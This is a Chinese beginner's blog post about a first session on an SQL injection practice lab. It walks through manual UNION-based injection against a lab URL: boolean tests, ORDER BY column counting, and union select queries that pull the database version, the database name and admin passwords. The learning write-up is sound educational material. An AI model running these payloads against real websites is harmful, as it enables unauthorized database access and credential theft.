菜鸟成长记 一 : 第一次靶场学习 sql injection回显手工注入。
第一次 ,第一次 ,第一次。我的故事在这之前和web安全没有一点关系。就不在这里浪费时间了。
靶场地址是http://120.203.13.75:6815/?id=1 (不重要! 往下看! O(∩_∩)O)
第一步: 在网页地址栏中,分别输入 http:// 120.203.13.75:6815/?id =1 and 1=1 (页面正常)
***/?id =1 and 1=2 (页面有缺陷)
如图所示:出现缺陷。
在辅导员的教导下我理解如下:
?id=1 and 1=1 意味着 sql语句为
第二步 尝试使用 order by .查找sql 里面的字段。
http:// 120.203.13.75:6815/?id =1 order by 1 ( 从 1 开始 往上加) ,会发现只有
http:// 120.203.13.75:6815/?id =1 order by 1 和 http:// 120.203.13.75:6815/?id =1 order by 2 页面无缺陷。order by 3 往上有页面缺陷!!!!
思考: order by 1 , 2 ,3 出现缺陷的原因。 意味着 数据库有 2个字段.
第三步 我也是多次在 id后面代入整数 和其他, select (随便整数/SQL语句), (带入整数/sql语句),理解其中的奥义的。
下面就简单了。因为我们找到了注入点。
下面就简单了
http://120.203.13.75:6815/?id= 2 union select 1,version() 查询改数据库版本
http://120.203.13.75:6815/?id= 2 union select 1,database() 查询数据库
120.203.13.75:6815/?id=2 union select 542, password from admin(所查表名)
注入点为 字段2的位置。
就是此注入方式,我还是有多不懂的。不断学习中,欢迎指正。